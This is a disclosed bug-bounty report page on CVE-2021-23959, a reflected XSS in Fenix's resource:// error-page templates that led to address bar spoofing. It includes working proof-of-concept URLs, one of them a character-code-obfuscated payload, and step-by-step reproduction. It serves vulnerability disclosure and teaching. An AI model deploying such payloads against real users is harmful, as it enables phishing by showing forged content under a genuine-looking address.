Skip to content
XSS Disclosed report Intermediate CVE-2021-23959

Reflected XSS on resource:// by accessing error page templates in Fenix directly

Error page templates in Fenix inserted the title parameter into the page using innerHTML without escaping, so a crafted resource:// URL could run script on the resource: origin. An attacker could share such a link, and the script could then rewrite an error page in another window while the address bar still showed the original https URL, enabling address bar spoofing.

Muneaki Nishimura Follow

Originally disclosed on Mozilla

  • Fixed in 5 months
  • Paid in 4 months
  • Disclosed after 5 months
Text
Created attachment 9169943
resource_xss_address_bar_spoofing.gif

Bug 1657055 was fixed by escaping untrusted data in Kotlin-side code (below).
https://bugzilla.mozilla.org/attachment.cgi?id=9168100&action=diff

But raw `innerHTML`s in the collesponding JavaScript-side code were kept remained (below).
https://github.com/mozilla-mobile/android-components/blob/d62f28374d7daf69991474a8f784c7cf8d556fce/components/browser/errorpages/src/main/assets/errorPageScripts.js#L23

These `innerHTML`s can still be used for XSS on `resource:` origin by loading templates directly (like below).
resource://android/assets/high_risk_error_pages.html?&title=<s>XSS
resource://android/assets/low_and_medium_risk_error_pages.html?&title=<s>XSS

Fenix can open `resource:` URLs shared from other apps through an intent (such as `SEND` intent).
Also, JavaScript code running on `resource:` can read/write error-pages shown in other window.

This means that Attacker can show fake error pages to Victim by sharing malicious `resource://` link from other apps such as SNS/SMS.
Then Fenix shows modified error page but the address bar shows an original `http(s)://` URL that made the error.


Following URL is demonstration of address bar spoofing attack by using above technique.
See also attached animation GIF.

resource://android/assets/high_risk_error_pages.html?&title=%3Cimg%20src%3D%22%22%20onerror%3D%22eval(String.fromCharCode(100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C98%2C111%2C100%2C121%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C61%2C96%2C60%2C98%2C117%2C116%2C116%2C111%2C110%2C32%2C111%2C110%2C99%2C108%2C105%2C99%2C107%2C61%2C34%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C98%2C61%2C119%2C105%2C110%2C100%2C111%2C119%2C46%2C111%2C112%2C101%2C110%2C40%2C39%2C104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C110%2C111%2C110%2C45%2C101%2C120%2C105%2C115%2C116%2C101%2C110%2C116%2C46%2C103%2C111%2C111%2C103%2C108%2C101%2C46%2C99%2C111%2C109%2C47%2C39%2C41%2C59%2C115%2C101%2C116%2C84%2C105%2C109%2C101%2C111%2C117%2C116%2C40%2C102%2C117%2C110%2C99%2C116%2C105%2C111%2C110%2C40%2C41%2C123%2C98%2C46%2C100%2C111%2C99%2C117%2C109%2C101%2C110%2C116%2C46%2C98%2C111%2C100%2C121%2C46%2C105%2C110%2C110%2C101%2C114%2C72%2C84%2C77%2C76%2C61%2C39%2C60%2C104%2C49%2C62%2C72%2C101%2C108%2C108%2C111%2C32%2C102%2C114%2C111%2C109%2C32%2C70%2C97%2C107%2C101%2C32%2C71%2C111%2C111%2C103%2C108%2C101%2C60%2C47%2C104%2C49%2C62%2C39%2C125%2C44%2C50%2C48%2C48%2C48%2C41%2C34%2C62%2C65%2C100%2C100%2C114%2C101%2C115%2C115%2C32%2C66%2C97%2C114%2C32%2C83%2C112%2C111%2C111%2C102%2C105%2C110%2C103%2C60%2C47%2C98%2C117%2C116%2C116%2C111%2C110%2C62%2C96))%22%3E

Steps to reproduce:
1. Open the above `resource:` link in Fenix
2. Following `<button>` tag is shown in `high_risk_error_pages.html` template by XSS
'''
<button onclick="window.b=window.open('https://non-existent.google.com/');setTimeout(function(){b.document.body.innerHTML='<h1>Hello from Fake Google</h1>'},2000)">Address Bar Spoofing</button>
'''
3. Taps the button, then `https://non-existent.google.com` is opened in new window
4. Fenix shows `Address Not Found` error page on the window because accessed domain is non-existent 
5. Parent XSSed `resource:` page still have the access to the error page at 4), and page is manipulated.
6. Address bar in the child window still shows `https://non-existent.google.com`

The original report as published on Mozilla's Bugzilla, by Muneaki Nishimura. Images and videos are our own copies; raw HTML is shown as text. View it on Mozilla's Bugzilla.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The JavaScript error page code assigned the untrusted title parameter to innerHTML without escaping, even though the Kotlin-side code had been fixed.

Impact

An attacker could show a fake error page to a victim while the address bar displayed a genuine http(s) URL, which could be used for phishing or spoofing.

What the attacker needed

Victim opens a shared resource:// link; Fenix opens resource: URLs from intents; victim taps the injected button

How it was found

  1. Open the crafted resource:// error page link in Fenix.
  2. The title parameter is rendered as HTML, showing an injected button.
  3. Tap the button, which opens a new window to a non-existent domain.
  4. Fenix shows an address-not-found error page in that window.
  5. The original scripted resource: page rewrites the child window's error page content.
  6. The child window's address bar still shows the original https URL.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A web page can build its content by pasting text into the page, and if that text is not cleaned first, any code inside it will run. Here the error page pasted the title from the URL straight into the page, so a link could carry code. Because the fake page could also change another window's error page, the browser bar kept showing a real-looking web address while the content was fake.

What is XSS?

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.

More by Muneaki Nishimura

View all

74 more disclosed reports, best first.

More from Mozilla

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Cross-site scripting (XSS)

The lesson behind this report.

Script an attacker supplies runs in another user's browser, on the target's origin, with that user's session.